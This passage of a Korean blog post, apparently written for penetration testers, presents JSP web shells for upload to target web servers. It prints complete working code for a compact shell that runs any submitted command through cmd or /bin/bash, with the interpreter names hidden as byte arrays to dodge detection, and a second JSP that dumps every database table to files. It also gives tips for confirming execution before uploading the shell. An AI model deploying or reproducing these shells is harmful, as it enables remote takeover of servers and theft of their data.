하지만 이렇게 좋은 기능들이 많은 웹쉘은 용량이 크다

그 만큼 소스코드도 많기 때문이다.

용량이 크면 용량제한이 걸린 웹에서는 업로드가 불가하다.

그래서 실제로 구글링으로 찾아보면 한 줄 웹쉘 이란 것도 있다.

2. Default WebShell

코드 보기

더보기
<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Hyotwo</title>
<BODY>
<H3>WebShell</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
    <INPUT TYPE="text" NAME="q">
    <INPUT TYPE="submit" VALUE="Fly">
</FORM>

<%
    String op="Got Nothing";
    String query = request.getParameter("q");
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    Boolean isWin;
    if(fileSeparator.equals("\\")){
        isWin = true;
    }else{
        isWin = false;
    }

    if (query != null) {
        ProcessBuilder pb;
        if(isWin) {
            pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
        }else{
            pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
        }
        Process process = pb.start();
        Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
    }
%>

<PRE>
    <%= op %>>
</PRE>
</BODY>
</HTML>

작은 용량의 웹쉘이다 직접 쉘명령을 입력해야한다. 

하지만 쉘명령을 입력하는 것만으로도 활용 방법은 무궁무진하다.

 

이 밖에 좋은 쉘들

3. DB 커넥터

코드 보기

더보기
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
    String backupDir = "/root/test";
    String ex="1.txt";
     // DB에 맞는 드라이버와 url 아이디 비밀번호 입력
    String driver = "";
   String url = "";
			String username = "DB계정";
			String password = "DB비밀번호";
 
     
    Class.forName(driver);
    Connection conn = DriverManager.getConnection(url, username, password);
 
    // Get tables
    String sql_tables="select TABLE_NAME from user_tab_comments";
    PreparedStatement ps = conn.prepareStatement(sql_tables);
    ResultSet rs = ps.executeQuery();
    ArrayList<String> tables = new ArrayList<String>();
    while (rs.next()) {
        tables.add(rs.getString(1));
    }
    rs.close();
 
    for(int i=0;i<tables.size();i++){
        String table=tables.get(i);
        out.println("Dumping data for table " + table + "...<br />");
        OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
        BufferedWriter bw=new BufferedWriter(osw);    
        String sql="select * from "+table;
        PreparedStatement p = conn.prepareStatement(sql);
        ResultSet r = p.executeQuery();
        ResultSetMetaData rsmeta=r.getMetaData();
    
        while(r.next()){
             bw.append("INSERT INTO " + table + " VALUES(");
             // JDBC is 1-based, Java is not !?
             for (int col = 1; col <= rsmeta.getColumnCount(); col++) {
                 bw.append("'");
                 if (r.getString(col) == null)
                     bw.append("");
                 else
                     bw.append(r.getString(col));
                 if (col == rsmeta.getColumnCount())
                     bw.append("'");
                 else
                     bw.append("', ");
             }
             bw.append(");");
             bw.newLine();
        }
         
        bw.flush();
        bw.close();
        osw.close();
        r.close();
    }
     
    rs.close();
    out.println("backup OK");
    conn.close();
} catch (Exception e) {
    response.setStatus(200);
    e.printStackTrace();
}
out.println("<p><h3>끝 ^_^</h3></p>");
%>

DB커넥터로서의 역할만 한다.

사용하기전 코드 수정을 통해 Oracle, MySql 등에 맞는 드라이버와 연결할 DB에대한 정보를 입력해야한다.

jsp를 실행하게되면 DB 덤프를 가져오게된다.

 

굉장히 많은 기능을 하는 웹쉘  오픈소스가 많지만

진단을 할 때는 웹 쉘을 업로드하기 전에 꼭 테스트용 서버 사이드 스크립트 파일을 업로드 후

절대경로 파악, 실행이 되는지까지 확인을 먼저 해보는 것이 좋다.

 

웹쉘코드들은 윈도우에서도 바이러스로 감지하는 파일이고 리스크를 줄이는 것이다.

반응형
  • hyotwo7658@gmail.com

복사 완료 👍